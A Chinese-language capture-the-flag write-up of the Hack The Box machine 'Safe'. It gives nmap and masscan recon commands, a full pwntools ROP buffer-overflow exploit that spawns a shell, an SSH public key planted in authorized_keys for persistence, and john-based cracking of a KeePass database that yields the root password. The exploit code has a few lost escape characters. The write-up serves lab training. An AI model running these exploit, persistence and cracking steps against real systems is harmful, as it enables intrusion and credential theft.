HTB-靶机-Safe

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.147

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.147 -o ./Safe-autorecon

也可以使用官方的方法进行快速的扫描

masscan -p1-65535 10.10.10.147 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.147
或者
nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.147
nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.147

 

 

扫描看到开放了3个端口,22,80,1337,首先使用curl访问一把80端口,发现一重要信息

提示有个文件可以下载下来分析,文件名称为myapp,并且此文件可能就是运行在目标靶机上去,并且监听1337端口,我先把此文件下载下来

开始分析此二进制文件,详细查看这篇文章把,https://0xdf.gitlab.io/2019/10/26/htb-safe.html  下面是exploit代码

from pwn import *

e = ELF("/home/kali/Downloads/htb/safe/myapp")
p = remote("10.10.10.147",1337)

payload = "A"*(120)
payload += p64(0x000000000040120b) #pop rdi; ret
payload += p64(0x404050) #writable address 
payload += p64(0x401060) #gets@PLT
payload += p64(0x000000000040120b) #pop rdi; ret
payload += p64(0x404050) #writable address
payload += p64(0x401040) #system@PLT
payload += "x90" *50
print p.read
print p.read
print "Invio Payload"
p.write(payload+"
")
p.write("/bin/bash
")
print p.read()
p.interactive()

执行exploit成功拿到低权限shell

首先写入一个公钥

写个kali的公钥进去,通过私钥远程登录

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali' > authorized_keys

通过私钥ssh登录到目标靶机上,登录成功之后直接进入到用户user的家目录,发现当前目录下有很多图片和加密的keepass文件,通过scp拷贝到本地kali

使用命令keepass2john命令将其转换为能够被john识别的hash,然后使用john进行破解

keepass2john MyPasswords.kdbx  > MyPasswords.kdbx.john; for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.john

开始破解hash

john MyPasswords.kdbx.john /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt

破解出来的登录keepass的登录密码,使用命令行工具kpcli登录keepass读取root账号的密码
bullshit
使用sudo apt-get install kpcli  安装工具kpcli

成功拿到root密码直接su切换至root用户

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14632319.html